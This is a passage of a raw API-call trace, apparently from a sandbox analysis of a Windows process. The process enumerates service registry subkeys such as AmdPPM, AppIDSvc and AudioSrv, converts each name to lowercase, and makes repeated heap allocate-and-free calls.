returned 0x21f18e0 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.055] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0210.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0210.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.055] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0210.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0210.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.056] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0210.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0210.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.056] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0210.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0210.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.056] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0210.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0210.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.056] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0210.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0210.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.057] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0210.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0210.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.057] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0210.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0210.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.057] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0210.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0210.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.057] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0210.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1c88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0210.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0210.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0210.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0210.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0210.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0210.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1c88, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0210.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0210.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0210.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0210.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0210.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0210.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0210.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0210.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0210.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0210.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 